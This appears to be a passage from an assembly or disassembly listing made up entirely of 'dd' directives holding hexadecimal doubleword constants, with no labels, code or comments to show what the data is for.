		dd 1AF4234Ah, 0F72A5BF6h, 95E7B1Eh, 0F05FD209h,	2BB341CDh
		dd 59F18E01h, 0FB3920A1h, 0BA2EFA84h, 0BF60DD9Dh, 1D450E9Bh
		dd 10D7017Eh, 582708FEh, 1A2770DEh, 97F2D178h, 6B5321FEh
		dd 3DD5067Bh, 63125455h, 51BB47Ch, 79DE4AB5h, 0C7BFAC55h
		dd 0B24DBCD2h, 3FB2BA5Fh, 0C7E5F5Eh, 0D88B15B0h, 0C0C5799Fh
		dd 3D8B3B6Eh, 88F9E92Ch, 0A49741ADh, 662D8278h,	52E09151h
		dd 0FE0ECC68h, 0B1E91617h, 545CC8A3h, 1075A58h,	1AF6795Bh
		dd 0BB0572Dh, 0FD1F5D16h, 0AEE96209h, 0B8B6550Ah, 5C96E925h
		dd 0AFE6925Ah, 0E079CB67h, 4B0A684Dh, 1948311Bh, 0E68D9FDFh
		dd 9A73E2CBh, 2AD36086h, 9AA5581Eh, 6F41F202h, 0A0D853DAh
		dd 0B2C3013h, 795F5E01h, 5F30AD1Bh, 67F8410Ah, 0D47152BFh
		dd 0FE91102Ah, 5AD60109h, 74375844h, 0E860457Ah, 0F60BF552h
		dd 2F109EF3h, 1C96F164h, 0D2774B3Fh, 0EC1E22B2h, 25407158h
		dd 9F1061Ch, 0C24DDECBh, 0ECD4D8E9h, 74E83009h,	6D382D93h
		dd 719DC329h, 5CE942F3h, 0A02A2FFFh, 0D4B35361h, 0FEDB14F6h
		dd 863B02CBh, 8D9697Ah,	2C94005Dh, 74D828DDh, 6E5B7704h
		dd 5F9E0FC2h, 4761DF11h, 594968D2h, 129596F1h, 0A9A04BB6h
		dd 0C17E1816h, 0DE280C0Ah, 0E6D38527h, 9687A32h, 5F63F63Bh
		dd 5691208Bh, 38112F72h, 0D78B4B84h, 55224C2Fh,	0B8201EDh
		dd 0ED7C1825h, 2DC2BF88h, 469FC3F0h, 798D20A4h,	0C2515B26h
		dd 81C72937h, 88CC51C9h, 0B901EA02h, 3CF332E8h,	0E4CDA430h
		dd 285D58EFh, 8C231C12h, 0DE407951h, 6D250E2Dh,	0E1A16117h
		dd 2F10A911h, 51079110h, 0AF1205DFh, 0D5E9190Eh, 0AB74BD6h
		dd 2AC78D4Ah, 0EBAC4184h, 0B23BE982h, 8780D1DEh, 0C1F381CBh
		dd 848900BBh, 0BC34DB2Dh, 0A001052Fh, 0E90E8B75h, 2C590FB6h
		dd 5C2445EDh, 83E818D1h, 0F09CC6C0h, 93BE543Fh,	87CCD7CFh
		dd 3AA5410Dh, 414407A0h, 60520FCh, 0C00AE016h, 17029AB8h
		dd 0EE011386h, 8B3E112Dh, 0FB35B3Dh, 0F820910h,	0C008EFC1h
		dd 6F6684E7h, 988CA30Fh, 813EC07Dh, 0C4B5E34Dh,	98C099Dh
		dd 8E78825Fh, 0AB590405h, 0E6D182C1h, 801D63Fh,	0ED2E918h
		dd 56FF679h, 31728542h,	2BC40BF3h, 10A068D2h, 0E6B7A2C4h
		dd 0C16B753Ah, 4306E39Dh, 3A10E94Bh, 0EEEC6B12h, 6A6801CCh
		dd 0B330164Bh, 24485D02h, 338D126h, 0B33D96C1h,	0EF8FC0CCh
		dd 5C164947h, 46C0D931h, 480827D6h, 4F738F75h, 0B431A009h
		dd 60C8265Ah, 276D7A32h, 594493ACh, 0F82D2D4Eh,	0CA2212Ah
		dd 0FDC40578h, 0EF85C4BBh, 7D202F29h, 20315E13h, 0F3B68C6h
		dd 0E795189Dh, 21AD8177h, 93496A69h, 5690029h, 96A15DDh
		dd 757C681Bh, 8D801B51h, 8105FA33h, 711B09E5h, 0A0D54BAFh
		dd 98676D78h, 7BE93233h, 0B1795CC9h, 0C49CE54Fh, 48DEDEA8h
		dd 50092EA9h, 5E207B0h,	8BAF9C4h, 5E49E50Eh, 75040322h
		dd 4820272Ch, 9F7E681h,	73D21FC4h, 0FB4BBD50h, 0F587D581h
		dd 0C09FC330h, 4A9BC229h, 0CC13A17h, 354B4743h,	203F34A6h
		dd 16E92508h, 0D8BB4D61h, 4FB0EB4Ah, 15D9CB04h,	8CE152B1h
		dd 6F5498E7h, 957F4C23h, 56195905h, 0A620802Dh,	82EF751Dh
		dd 0BF8C730Ch, 272ED467h, 0AD6AA474h, 2A742E03h, 42CEFA3Eh
		dd 0D4080BA6h, 0A0072F55h, 4098654Fh, 16F181F2h, 284C0E22h
		dd 82322C5Ch, 355EE3A0h, 86F16CA1h, 9A286C25h, 31D1E2A7h
		dd 0A53BA908h, 270ADA4Bh, 8D22DD0h, 13295A4Fh, 40C0A32Bh
		dd 1940DDDAh, 8EB2CC0h,	0F3800048h, 0C9B450CDh,	4947E927h
		dd 0E3F0C6EEh, 99B3AACh, 0C9515EA7h, 2BFF7A0h, 6CC3E5F7h
		dd 0F144B5E3h, 3FD0680Fh, 5E580963h, 762D00F3h,	8920E4B2h
		dd 948EC564h, 164F8D95h
		dd 6925EF52h, 95112161h, 0EEA1D0F7h, 0BDEB12A3h, 125A2564h
		dd 271644F3h, 5712987Eh, 0F9AD4B63h, 5A6859DFh,	597C32A8h
		dd 660D68C0h, 0A8444E68h, 297A5DC1h, 0BC5E5324h, 43C78865h
		dd 0C9C38EAEh, 0BF9E59DEh, 8D5AF712h, 25D00784h, 4939AFDFh
		dd 0E42F2AF9h, 354DE054h, 71998157h, 2490702Dh,	23B424E3h
		dd 14C30312h, 674A045Eh, 0FEA816E6h, 0D02173C0h, 8F99965Ah
		dd 0CCD7C868h, 7B592315h, 0B9FD849Ah, 98C335AEh, 0F509BDC9h
		dd 581B6951h, 202F2057h, 7C454490h, 92A2446h, 2F135C88h
		dd 0A3D8BA8Bh, 0D98B1C94h, 0B78AC4F9h, 4BF4898Bh, 82605752h
		dd 0DBC9C5A5h, 20E8F829h, 502CF2C7h, 0A40E3953h, 0A46E8F01h
		dd 7AF43332h, 75608024h, 0C64266A4h, 24AB597Eh,	3E09B01Ch
		dd 0C5154AF9h, 0A167FEB1h, 92DE4C2h, 0D01D7A00h, 5006FFBh
		dd 7D54609Fh, 0A22DE829h, 0EB96C107h, 0E6575B01h, 263EEF7Dh
		dd 19ED0433h, 0CB5DC0D1h, 0DD044665h, 1D5CE94Ah, 5EC29AFBh
		dd 31681DF4h, 0B6D11F32h, 0D3D22D12h, 0DF91321h, 82E91D51h
		dd 0B5DD66FAh, 0C6FC3CC6h, 0B07455h, 226CAEE3h,	0CD813907h
		dd 0CFC1908h, 5E100BF5h, 18005B74h, 671D4FBEh, 0CF2CE912h
		dd 312FD5B7h, 2162E671h, 17047AC8h, 0A65D5455h,	0E9D504B9h
		dd 15B279EEh, 29294C4Bh, 0F85AC8A9h, 1A1306E3h,	0FC71127Ch
		dd 87D4F2h, 77E48D29h, 95AFE955h, 2E027AA9h, 0C5D53A80h
		dd 3FA4BEDEh, 7878AFAFh, 757A1520h, 488117BAh, 0F263178Dh
		dd 0C1080182h, 0FEC98058h, 0BEBBF7ECh, 2CF8698Ah, 8267440Ah
		dd 102AA21h, 0C02EEF1Ch, 4525CAEh, 6CE91084h, 0B41EAAAh
		dd 31C14B4Ch, 13B84970h, 0BBCE3EB4h, 5313116h, 0E3CD22Eh
		dd 0B21AC0E4h, 7B0B5911h, 512F5F68h, 41B18271h,	0AA587E10h
		dd 0DF525294h, 4B797830h, 2F4672Fh, 61EE3153h, 0B905A4CAh
		dd 85C813E1h, 0C069C9A2h, 51D00B7Fh, 61C1015Eh,	0EBE95DB2h
		dd 0BF573D00h, 3CE55AFAh, 0EF812847h, 0F1A525D3h, 6E26ECF6h
		dd 35ABC02h, 0EEE2C055h, 2ADF2C28h, 851BFEAh, 26141CA0h
		dd 811028Bh, 5625F89Ah,	735B62A0h, 93ABA00h, 9B9E6A4h
		dd 1485010Ch, 64D29E09h, 0B7CCC13Ch, 0CBC0941Eh, 1322D110h
		dd 0FA59CF89h, 0CFABB424h, 0B6680BA3h, 0A616E665h, 37C25869h
		dd 3CE9932Dh, 0E4057A02h, 8920D67Ah, 4C361477h,	8405121Eh
		dd 0B2320928h, 21E65AE6h, 6F296614h, 4C72EC10h,	0E0A2102Dh
		dd 0E46BA851h, 545B3137h, 0B5B331E4h, 9A5DB889h, 0BEAB41BDh
		dd 4D008604h, 0F60BD4B4h, 0E4E15CB1h, 915D0A75h, 0E59CFC25h
		dd 0A2CD9452h, 0E1E89329h, 1FA94E50h, 0C1584E1Eh, 0CE24C8F6h
		dd 0B70C8073h, 918F828h, 0E45E4BF0h, 0F9407CD1h, 2CD877B3h
		dd 41462C42h, 2A7E2007h, 182F48E0h, 0C199A4Fh, 600E9512h
		dd 65EF29E9h, 5E81EAAh,	2D8805F4h, 0F37FE17h, 0DFFCD594h
		dd 80C2F44Bh, 650C232h,	30F702BAh, 34E54EC1h, 0E37728BEh
		dd 409195Fh, 5B88495Ah,	0C5316B8Eh, 0EF09E84Ch,	6880FDF0h
		dd 2FCC9A26h, 0DE4134E9h, 0ABF8D85Fh, 205F64B5h, 3131A7A5h
		dd 8BB0A15Ch, 49BA13A2h, 2D27103Eh, 45DA1CAh, 88F053C6h
		dd 41F70BBFh, 908074F2h, 64F059EAh, 9E46AB7h, 8D395C08h
		dd 895FF799h, 0D9FCEAC7h, 0BB5AA7F9h, 27685101h, 592B3329h
		dd 5048D02Bh, 2200D8B8h, 0BC2542C9h, 9030F248h,	0B3DA5FCAh
		dd 0CAAB13F5h, 478E1DF2h, 92C117F8h, 3744D31Eh,	2EB1E0D3h
		dd 2A30E7E9h, 800202C7h, 0FB89FE4Fh, 2BFE0BF5h,	622D52B9h
		dd 0DBF6C506h, 50D5D9E0h, 0E865B026h, 0DE42596h, 27B309F5h
		dd 0C68341F8h, 6AAA75D2h, 139504DFh, 0D1FA7494h, 22B59945h
		dd 60866EDEh, 937015A8h, 87EE4821h, 19B7C602h, 6C702EF5h
		dd 2E6E8E5h, 18633C12h,	8E06710Eh, 2291D721h, 0DABE3703h
		dd 31D804CFh, 92890EE1h, 18B07114h, 0F66E436Ah,	1FAD2C12h
		dd 52D000C5h, 6BE9465Ah, 8724834Eh, 3016BAh, 2BF0BB8Dh
		dd 0F72828F3h, 54C102DBh, 164C2291h, 67AA4882h,	9B4150B8h
		dd 20DAE95Eh, 4B9DDD9Ch, 7D78B2D0h, 1893B693h, 2FE2685Ah
		dd 85A9E9E0h, 5B903DD0h, 0A1E7E137h, 0FD56104Bh, 23462D2Eh
		dd 7A254DD2h, 2050CC04h, 0B380D202h, 6182AEDh, 54B6480Ah
		dd 0E0C727D6h, 2EE75461h, 15E5600h, 7A5251C3h, 0C5721268h
		dd 1073ED37h, 8913BF1Dh, 4C89B3C1h, 377A0E5Ch, 98E5F69Dh
		dd 80F952Eh, 29137229h,	0A985E40Bh, 6E12D7A0h, 0F2D629F5h
		dd 0F06BBEE6h, 0F5EAEE9h, 62C3A928h, 1AB266F4h,	0EAFD0477h
		dd 378211C4h, 5E116B88h, 825D8EB5h, 51179868h, 0D090A7F9h
		dd 46B7D25Bh, 0D4E40524h, 0E057A6B0h, 0F8E0ABE3h, 5A594B34h
		dd 905F070Ah, 9529089Fh, 0F848E90Bh, 535B2815h,	381503A6h
		dd 4DBB0A67h, 204E0B4Ch, 0F150C0A6h, 1B1757E8h,	9001E1ECh
		dd 0E9655B30h, 0A23E08A8h, 0F0084A32h, 0A542A4D2h, 84D68492h
		dd 9012EDACh, 68508430h, 0E9104FF5h, 50E4A2ACh,	9F329FD3h
		dd 41CC025Dh, 0A5ADE7F8h, 4256EC19h, 0D40BD7CAh, 65822724h
		dd 1D72840Dh, 0A4282E3Ch, 218DD21Ah, 5BF755D0h,	400C3328h
		dd 0E8AC114Fh, 2CFDA64Ah, 588BAABAh, 1C3E8420h,	48FBCBAAh
		dd 49C42C6Dh, 9770C6B1h, 201EBA01h, 41900FB6h, 7728B0Eh
		dd 3CACE35h, 5478237h, 0EB600618h, 2D27820Ch, 89428C76h
		dd 68E5DEE8h, 0BF2501C8h, 6A0E5F2Bh, 7640C30Bh,	0F93540C3h
		dd 12512DD0h, 84FF79A7h, 61968985h, 3759B536h, 3A8884CAh
		dd 0E02D01ABh, 6A8B2E3Bh, 37536D1Fh, 0F5EB39B4h, 9F566860h
		dd 965D21FAh, 478F147Dh, 856F39DCh, 80B1490h, 69AC9B17h
		dd 78AD4BE1h, 54F58992h, 0E6891473h, 2F7D1110h,	3A43505Ch
		dd 44587F9Eh, 871E083Ch, 0D2F7CAD7h, 0DB471F06h, 0E2F144Fh
		dd 3FC45850h, 0B84C568Ch, 0E93BB004h, 0D38392F0h, 0C883954h
		dd 49B30E6Eh, 88D633E4h, 0FD4C87CBh, 4005737Ah,	0EA897CEFh
		dd 577AC282h, 0FD2400E7h, 8439F300h, 94FEE91Eh,	1D4D1638h
		dd 0FEE2D676h, 0EAEA450Ah, 5D4D12C9h, 3996FEE7h, 0E34A9CACh
		dd 5C08D384h, 0E42D17D8h, 557C57C6h, 3986C027h,	0A72E2908h
		dd 7FC211BFh, 0EA03F112h, 0F153AA23h, 9E248AFAh, 52584CC7h
		dd 5C72110Ah, 0EE5F0C94h, 5B4FDF99h, 0B26E60F1h, 45805AA5h
		dd 3C57CCE6h, 0D62467FEh, 61311342h, 29D20125h,	18B1129Dh
		dd 40B43DA4h, 0A92D68E8h, 70F1D63Bh, 0C85EE9F1h, 685BF703h
		dd 0E6415F64h, 0B3E909C5h, 2957A29Ah, 5AADF4EBh, 53AB3584h
		dd 0C23FBB09h, 3CC75D54h, 0BD6C6A5h, 6435D7BDh,	2D029A76h
		dd 80A09BCAh, 9248ECEAh, 0F7F8A315h, 5D13082Ah,	0F6A07B09h
		dd 97E91E64h, 295688D5h, 338AC74Eh, 9404F25h, 6E7D4235h
		dd 345BC904h, 0E5C040F7h, 0F22A69A0h, 0C38477E9h, 0CA25F6BBh
		dd 599304DDh, 0C380047Eh, 10DD9BC3h, 5B8E172Ch,	0C6CB75BCh
		dd 29E72757h, 0A08D0669h, 20F90025h, 6C0D61E7h,	157FC25Fh
		dd 6FD3E130h, 2E512BC1h, 32935C9h, 42823A90h, 175EEE0h
		dd 76C2D525h, 0CA8907ACh, 1F366F59h, 0DD1D392Eh, 0E4D85C95h
		dd 0F0C103B4h, 8A05F887h, 57E00810h, 80FE60C6h,	9267E908h
		dd 554966Ch, 0E2A73340h, 82084138h, 5470C61Eh, 0E5E60A3h
		dd 0E21C9D2Dh, 419D20FCh, 0CA2E5985h, 2F315F3Dh, 2900C6D5h
		dd 0EF0781CFh, 718B20E7h, 0F59C95D2h, 84684790h, 7B5B077Dh
		dd 0F4E1ED21h, 4C258A3Bh
		dd 0CBD997A2h, 782FA97Ah, 6533C095h, 0CB828281h, 22726CCDh
		dd 0A9C02509h, 248CF41Dh, 14BB1017h, 166F10BAh,	0B720877Ch
		dd 3E537EB3h, 24345142h, 0D1DA1749h, 70F02988h,	0D9B58EE5h
		dd 187D699Fh, 956BE948h, 0C51B27h, 898EC1C2h, 8927B293h
		dd 0E6B4D59Bh, 0BA5994BDh, 5A09BF3Bh, 0E8572C0h, 0B0E9C3D7h
		dd 0CAFFF3D2h, 53C25D57h, 42DF1268h, 97834C6Eh,	0E92D2964h
		dd 0BF7C003Bh, 5B8D59D3h, 2E0B872h, 541DB405h, 1A77F4CEh
		dd 32F4348Bh, 0E409FF26h, 6A90D5DAh, 5C80AC27h,	13A29551h
		dd 309FEEEh, 96C331C2h,	0B76FFA09h, 46881007h, 68F6D159h
		dd 44201741h, 0C33ECBEh, 3EBC14Dh, 7B382612h, 0DA218432h
		dd 99D025E9h, 167A3548h, 127FF16Dh, 3B9AE101h, 9418578Ah
		dd 59CDAFA5h, 97771695h, 39C4F53h, 709D5B5Ah, 0DCE92DBEh
		dd 0D97C03A9h, 3B5CB3Ch, 82DDB430h, 311853C0h, 12417BB5h
		dd 0AE8D2557h, 0E210419Ah, 0CD211D7Dh, 0FBE5F4C9h, 47E60938h
		dd 312160DBh, 6C058F28h, 0D15C6412h, 26A5D7D0h,	4D39047Ah
		dd 418D4E9h, 0FBC15753h, 5E0299B9h, 74091167h, 50125AF0h
		dd 16638E56h, 0E0615C23h, 4101CBEAh, 0E96B473Ah, 612AB322h
		dd 2E8F3EC5h, 89099DA2h, 0BB0059CBh, 2FB27A4Fh,	5E6BDEBEh
		dd 0F30B8BD5h, 7EC2339Bh, 0E68FB556h, 40D20B06h, 0B553660Eh
		dd 0F0A00794h, 3081C7A0h, 632129Bh, 343B0D4Ch, 3AED169h
		dd 9FE09D5Dh, 9A12EE8Dh, 5341AC00h, 4AE93D0Bh, 562DC77Bh
		dd 0BCC33777h, 10E445D7h, 1EC5C020h, 0FEDCCC80h, 0ED7DFDFAh
		dd 0D1925A27h, 0B8123CDBh, 5FC2016h, 702C732Bh,	0D89E7C29h
		dd 0E9120A68h, 0C340FDB2h, 3AB937A6h, 2B2D8101h, 0DA4EA359h
		dd 3E308A32h, 15B2520Dh, 21E2C024h, 7BF62F3Dh, 202E09C4h
		dd 0EADC3B77h, 4316D569h, 0D56F910Bh, 0C265007Dh, 122A9070h
		dd 0EFD12982h, 0D7447A61h, 7201D76Bh, 7BF9DFAAh, 8E66722Fh
		dd 8B539DD1h, 0ED70981Ch, 19931D85h, 1C7C316Ah,	3090215Fh
		dd 3216377Fh, 0FE027AC2h, 5F4B5AABh, 9886C180h,	51099594h
		dd 714D1068h, 135AAF2Bh, 6B6C0131h, 5300E1D0h, 800367B7h
		dd 0E7C006F7h, 100C0403h, 0D470E5E9h, 0A81FEB5Ch, 48393785h
		dd 0C00DD280h, 172C2468h, 75E50400h, 0E63E823Bh, 78888C60h
		dd 0F936E912h, 5E2631EFh, 11300768h, 0BD16A458h, 0EA810D65h
		dd 0A5CF15C8h, 53C4C12Fh, 0BD0365Fh, 66402268h,	4D98A624h
		dd 1327BFFAh, 0BD278AFAh, 7E064C1h, 0F33368BAh,	9915473Ch
		dd 2C31B751h, 0BD00EE95h, 820C3F02h, 0B04BE05h,	975DFC29h
		dd 661659D1h, 0B302DE4Eh, 0E6B64E2h, 67E768A2h,	61E1D102h
		dd 126AC92Ah, 5583CB0Eh, 8AA72A49h, 0DC9798D2h,	52B2E24Eh
		dd 0B1D5ECD2h, 4A7456E9h, 7CBE0F25h, 0E3497431h, 46F9976h
		dd 8AEAC0C5h, 20C64B3h,	20346842h, 2D9DE5DDh, 618F0D7Ah
		dd 16AEF327h, 650AEF3Bh, 4AA69552h, 0FE2421C2h,	0C3296F2Fh
		dd 0ECF22CA2h, 0DEB37460h, 9FEDDAE0h, 922CE9EDh, 81495984h
		dd 5E756F80h, 588F9251h, 6F257B34h, 7C703C0Eh, 3FFC537h
		dd 0D2B1F563h, 51F48225h, 4FE2ECC6h, 0E9538CD5h, 3BE02C59h
		dd 0F6D124Bh, 59FC4834h, 0BD2F71Ah, 20EC4475h, 0DA9F0D9Dh
		dd 0CF7B0BF8h, 895D9AF5h, 8123D5F7h, 5A70EF13h,	5DDDC350h
		dd 0F1B7E3BAh, 0B057E9C5h, 0A2F9881Ah, 5AD325E5h, 9ADD21CCh
		dd 0CA15834Dh, 0D5664A37h, 0D90C62ECh, 0B2C1835Bh, 97BD5F7Eh
		dd 0A96A7219h, 59A9048h, 81785600h, 0A2571CE5h,	40F0970Fh
		dd 0DB51A380h, 294C4112h, 6AB641AEh, 2A37FE3Bh,	1EE948C0h
		dd 0AADBB41Ch, 4042E5CCh, 9BE17FFAh, 20F06BDEh,	5BD0B042h
		dd 415539Bh, 0BA29FEA2h, 47E4EE8Dh, 11169FC6h, 4C9B599Dh
		dd 389377F8h, 3D312D92h, 6C647C4Dh, 8DD9B554h, 0CC69C6A0h
		dd 6693C8B9h, 23489FD3h, 0A5D289DCh, 0FAA4D81h,	54F38387h
		dd 0B5E2378Ah, 219B8D6h, 535733BAh, 0E168DF1Ah,	4E9DF059h
		dd 0C3801C2Dh, 79EB1DF7h, 8596575h, 1C44EADFh, 81007E05h
		dd 1E79B4EDh, 162F5F7Bh, 0D21492BDh, 474F48Dh, 81470779h
		dd 0EA61FB44h, 5464D4F5h, 7A0278C2h, 0C9A9741h,	5894B15Dh
		dd 4E3D616Fh, 0C1F9126Ch, 0CAE9D9DFh, 79B2A0CEh, 0EA7E8F10h
		dd 0E3361EE8h, 1DD4870Ah, 0C62100ACh, 0E75457E9h, 18EC6E8Ah
		dd 0F2814406h, 5A0C7755h, 0B474AC31h, 736505ABh, 89DAF29h
		dd 0FDDE55EDh, 0E1B30B94h, 27651908h, 0D20A0471h, 0B98E42Ch
		dd 3851051Dh, 0A9CA33CAh, 0E2F81023h, 69173258h, 4C8CB40Ah
		dd 6CEF4D1Eh, 6F189FCCh, 548809EAh, 4CF8CB55h, 0D9B8E6CBh
		dd 4568C7D7h, 0C182A846h, 166F72DCh, 71D1E741h,	13F58A7Ah
		dd 0B35CF93h, 68B763ACh, 3F8A6861h, 5A543951h, 0C289B86Dh
		dd 13021CF7h, 0B49D09E9h, 1B41B392h, 21D1872Ah,	8F191C13h
		dd 7C6553EEh, 6F004DA6h, 2979BD06h, 81CD0CAh, 27141C68h
		dd 84D89894h, 34778422h, 0AF0C3D45h, 40E9C843h,	0F8864E64h
		dd 0DAAB53Fh, 49493B46h, 0DFF07C53h, 22E0ACD7h,	166175Dh
		dd 4B37BCF0h, 73C89EADh, 0C3FE89h, 0B050E3BEh, 0D0860C28h
		dd 0E908D2F6h, 4BD0124h, 7F74B742h, 187EBDBBh, 0F16BD041h
		dd 558524C0h, 2BC4BD04h, 0D9801AD6h, 8C93FA3h, 73EEE93Ch
		dd 525B562Fh, 0A5BC4D2h, 2C4AC9A3h, 5E012DD2h, 2954303Ah
		dd 74205E8h, 692C705Dh,	7DAFB7CBh, 0B8D8604h, 39C15E64h
		dd 0B75863A0h, 0AEBC4F23h, 8601EE04h, 0C17883DEh, 0F17E948h
		dd 2D4B4412h, 3EFC8CE1h, 179B7285h, 0AB59CB31h,	5750D20Eh
		dd 0E84BB2B8h, 0B5BB8438h, 0F2032696h, 0A7EB5ECFh, 0C9884DC1h
		dd 1CA7D057h, 0C77552B8h, 142C0547h, 945DC1F7h,	3E303AFBh
		dd 0EA1A12CEh, 0D28B9501h, 0ECFE704Ch, 0AFC8C082h, 12A09F19h
		dd 0D9A3DF8h, 0A06C6ECh, 4E15C051h, 42F0090Eh, 895075C9h
		dd 0B90A2199h, 46FC7F4h, 0B4000D85h, 8ECC0DBh, 34E48017h
		dd 0E8B76E0Bh, 0B76C3B42h, 0CEAADCBh, 5812165Ch, 0A84A24EDh
		dd 613AB915h, 7A70C89Eh, 0CDF9D139h, 1BE4964h, 4CC1126Ch
		dd 7C145E68h, 35AFCC77h, 3ED909B8h, 7FF102Bh, 8BD00560h
		dd 2729864Ah, 257058C6h, 5703F980h, 5616BF76h, 0B60122A5h
		dd 1C7A7685h, 201F013Ah, 0F4598D1Eh, 0DF023DF7h, 0F6E9D8BBh
		dd 9A307F1Dh, 0A2971058h, 2A62519Bh, 3BFA0292h,	6D7C1372h
		dd 9BA7640Bh, 0C84CC2C5h, 0FEB8B72Dh, 0D7482Fh,	0C56852C0h
		dd 7C7ED41Ah, 5F90485Ah, 2D7EB3C2h, 0A45A6BFBh,	41F70882h
		dd 44090227h, 0AA3782D4h, 3C64B3DCh, 68062074h,	63820612h
		dd 494B5D7Bh, 0BD0C407Dh, 0D23B861Fh, 0ED245DEh, 0F450E5B1h
		dd 976F295Ch, 11C1666Ah, 0D3227F73h, 89465F1Bh,	0EC440D0Fh
		dd 8B028A15h, 7143BE81h, 512C33A2h, 76DE092Dh, 0BC165E45h
		dd 865F9D4Bh, 124F2DBCh, 0CC4C1F68h, 6A5FB97Fh,	0B1BDDF84h
		dd 3A18C15Ah, 5F617F23h, 0F51083B6h, 1F058068h,	5DEB29FAh
		dd 7FC3DCF0h, 0C126045h, 0A7915595h, 0C2B7099Ah, 0D6C57FACh
		dd 22706027h, 7681047Ah, 0C003E5C1h, 133B7371h,	7D9DB74Ah
		dd 15939138h, 0D100E949h, 4B850DE8h, 2D01520Ch,	4888243Dh
		dd 40208405h, 2A8795CDh, 6D256255h, 276714F5h, 18663078h
		dd 0BD01C298h, 8D28056Dh, 43A69242h, 1229C69Ch,	49EA599Dh
		dd 0DE7C12FDh, 60E088DEh, 44FA5C16h, 964B2A6h, 0A0045659h
		dd 40479499h, 9DB3B7C3h
		dd 29F0EF64h, 0A261BBB3h, 20E3D15Bh, 2D2E6A0Bh,	931651BCh
		dd 38BE6040h, 0BF180C71h, 3E7F57E0h, 3F0C2860h,	980ADC4Ch
		dd 0FB840918h, 555420C8h, 8D412912h, 5BC77B03h,	56256222h
		dd 7EABF443h, 0F429C525h, 0BE825A44h, 59F65F6Dh, 0BA48762h
		dd 4A9766E5h, 5392656h,	279EDB2Eh, 46427C66h, 0C9979335h
		dd 8052EF37h, 0B4F3C0B9h, 9FBD0E65h, 0C5F6F54Dh, 13A4ED6Fh
		dd 15ACB744h, 8F942E3h,	0CA926AD1h, 0A890595Bh,	63760095h
		dd 0F18131CBh, 0B1273362h, 0C0BB4A54h, 505E98Dh, 291225FEh
		dd 8CBD82C8h, 23B0170Eh, 0BDDDF47Ah, 40DB9349h,	0B77735FCh
		dd 0E4B6031h, 17E5254Ah, 681C046Bh, 0C430FE79h,	242D77BBh
		dd 8EA5A9Ah, 3501FF06h,	2B740239h, 2DBEE2F8h, 430F2F80h
		dd 9ADF6B69h, 0AB40F78Fh, 6827C831h, 1293C672h,	628D2CE9h
		dd 18C8BB5Ch, 7539EA68h, 165A3367h, 8B274C6Fh, 13E78100h
		dd 87413F36h, 645EF33h,	7F0E74Fh, 98401432h, 381D0BC2h
		dd 0CFEA1565h, 0EE5F0804h, 0FB683631h, 541F136Bh, 44A51D95h
		dd 82545203h, 0ED571CABh, 8BA824AAh, 201AC72Ah,	7BDB3875h
		dd 0BB0082F0h, 0A739D75Bh, 91A2048Bh, 0E8103C23h, 0A90E1B36h
		dd 5EEBEC2Dh, 628DC944h, 4A8E16FFh, 0C417E902h,	8FDD9A9h
		dd 20412C28h, 0D790E762h, 0AAB66D78h, 8C1FC384h, 5035DA8h
		dd 464EF208h, 2536E991h, 0FBC36A1Eh, 3C355061h,	152A1EADh
		dd 0C449D210h, 12CEBF45h, 0B4C51617h, 0DCF05B52h, 0D1C769BDh
		dd 3D818AFDh, 407652BBh, 0F34B204Ah, 0C6626901h, 0CAFAE935h
		dd 0DE10A472h, 88B80015h, 502A513h, 30350124h, 48A82D33h
		dd 0C601DCD5h, 0C69AE92Ah, 5E5858EAh, 9FB7C3DCh, 0C104F6FEh
		dd 3091B4D6h, 971371E7h, 69C54E64h, 722E13ABh, 920FEBD9h
		dd 0E62E49EAh, 97381EDFh, 0D8B36B20h, 0B55266h,	15E9F311h
		dd 803EC276h, 965E32EBh, 42C23065h, 4DE4C95Bh, 0B3B3C43Bh
		dd 7E24BAFh, 1A692D48h,	5B79817Ch, 6824F42Fh, 7EB7AF4Bh
		dd 0FA76C45Eh, 975C87CCh, 0A060E959h, 243F6C74h, 857F1CE9h
		dd 8414958h, 4D006693h,	33C8CD81h, 5F254C3Eh, 274F701h
		dd 70DD2939h, 5D615E79h, 7C3C4216h, 901F7E20h, 2903161Dh
		dd 83E10F3h, 5F215E02h,	0C4F55B1Ch, 16C7935Eh, 0C9E28285h
		dd 0EDF748EAh, 0B2C425BFh, 54945A52h, 0D995F0D1h, 314E0519h
		dd 0B925E039h, 778A6116h, 7323B900h, 73255A2Eh,	6718259Fh
		dd 7DEEF8D0h, 0D3407B2Ch, 93454E04h, 2A914FEh, 0F8780D04h
		dd 1D1EFA23h, 105D8179h, 9CE9077Fh, 5BCA092Ah, 0B34CA379h
		dd 4DE97657h, 539E9DEBh, 8888459Eh, 882DFED9h, 0D2F960C2h
		dd 44278384h, 9383DEC5h, 11760027h, 23A23558h, 8963CF0Ch
		dd 0BCBAEC3h, 1BD20C2Eh, 0E9050680h, 45C0ADDBh,	737214BFh
		dd 0DB8025Eh, 574BCACh,	29E468DFh, 10E917F8h, 0FEB68D95h
		dd 5C13B8FEh, 0AF1361B6h, 2F2DAEC7h, 76680E8Bh,	7F8C2BDFh
		dd 642DBA15h, 32934B80h, 12552187h, 40CF5FD3h, 0A1045A6h
		dd 0CCCDED4Eh, 4C5711Ch, 73A57B4Bh, 5CFA159h, 0FAFF3188h
		dd 0B9FE925Fh, 68AA3CFEh, 5E6BD452h, 874ADDF3h,	0C9FC9AEFh
		dd 0FB018F05h, 9868729Ch, 3E9FC4C2h, 1C8EBE61h,	0C1385C09h
		dd 0A8E87207h, 26DDF70Fh, 2CC05EDh, 30D1B88h, 30F298E9h
		dd 2FD1E555h, 4AF56B28h, 0B30C45Eh, 69D88978h, 2440459Fh
		dd 0E99CBD1Ch, 1814AD5Dh, 0B78A5120h, 0D5887745h, 81CF3CD7h
		dd 25DB4DF2h, 0A6CAF91Eh, 1A380039h, 40868022h,	4E6F0923h
		dd 0D7C4F31Ch, 0E90D059Eh, 62160B0Ch, 3A96DFF0h, 0F41E4F55h
		dd 105698FFh, 1FB95A16h, 4A0415CAh, 0CF7488E9h,	0F75C174Fh
		dd 4E6B7FFCh, 5A61C7ECh, 0EDFDE9C7h, 5FEE8352h,	63F8E1ABh
		dd 44DB1225h, 19599D30h, 0F9CD973Eh, 98D284B8h,	55D8437h
		dd 92F78453h, 2ED8302h,	8B5E1A89h, 0A27ECA0h, 243BD3C2h
		dd 0A95E14D6h, 0FBF88189h, 51D894A0h, 0DD9B902h, 0F72D4BD0h
		dd 0EBE9FF68h, 0BF014694h, 6A751317h, 1985B46Bh, 6FB31BC0h
		dd 5103C380h, 0EDD8F420h, 4BE927FCh, 71E0EAC2h,	923009D0h
